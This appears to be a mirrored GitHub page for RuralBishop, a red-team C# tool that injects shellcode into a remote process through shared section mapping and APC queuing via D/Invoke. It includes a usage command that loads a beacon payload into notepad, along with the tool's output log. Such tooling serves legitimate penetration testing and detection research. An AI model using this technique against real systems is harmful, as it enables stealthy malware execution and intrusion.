GithubHelp home page GithubHelp logo

analyticsearch / ruralbishop Goto Github PK

View Code? Open in Web Editor NEW

This project forked from rasta-mouse/ruralbishop

0.0 0.0 0.0 11 KB

D/Invoke port of UrbanBishop

License: BSD 3-Clause "New" or "Revised" License

C# 100.00%

ruralbishop's Introduction

RuralBishop

RuralBishop is practically a carbon copy of UrbanBishop by b33f, but all P/Invoke calls have been replaced with D/Invoke.

This creates a local RW section in RuralBishop and then maps that section as RX into a remote process. Once the shared section has been established the shellcode is written to the local section which then automatically propagates to the remote process. For execution RuralBishop creates a remote suspended thread (start address is set to ntdll!RtlExitUserThread) and queues an APC on that thread. Once resumed with NtAlertResumeThread, the shellcode executes and the thread exits gracefully on completion.

C:\> RuralBishop.exe -p C:\Users\Rasta\Desktop\beacon.bin -i 14680
   _O        _____             _
  / //\     | __  |_ _ ___ ___| |
 {     }    |    -| | |  _| .'| |
  \___/     |__|__|___|_| |__,|_|
  (___)
   |_|          _____ _     _
  /   \        | __  |_|___| |_ ___ ___
 (_____)       | __ -| |_ -|   | . | . |
(_______)      |_____|_|___|_|_|___|  _|
/_______\                          |_|
                  ~b33f~  ~rasta~

|--------
| Process    : notepad
| Handle     : 696
| Is x32     : False
| Sc binpath : C:\Users\Rasta\Desktop\beacon.bin
|--------

[>] Creating local section..
    |-> hSection: 0x2B4
    |-> Size: 261120
    |-> pBase: 0xC30000
[>] Map RX section to remote proc..
    |-> pRemoteBase: 0x1E5D86C0000
[>] Write shellcode to local section..
    |-> Size: 261120
[>] Seek export offset..
    |-> pRemoteNtDllBase: 0x7FFC44BA0000
    |-> LdrGetDllHandle OK
    |-> RtlExitUserThread: 0x7FFC44C0A2A0
    |-> Offset: 0x6A2A0
[>] NtCreateThreadEx -> RtlExitUserThread <- Suspended..
    |-> Success
[>] Set APC trigger & resume thread..
    |-> NtQueueApcThread
    |-> NtAlertResumeThread

ruralbishop's People

Contributors

rasta-mouse avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.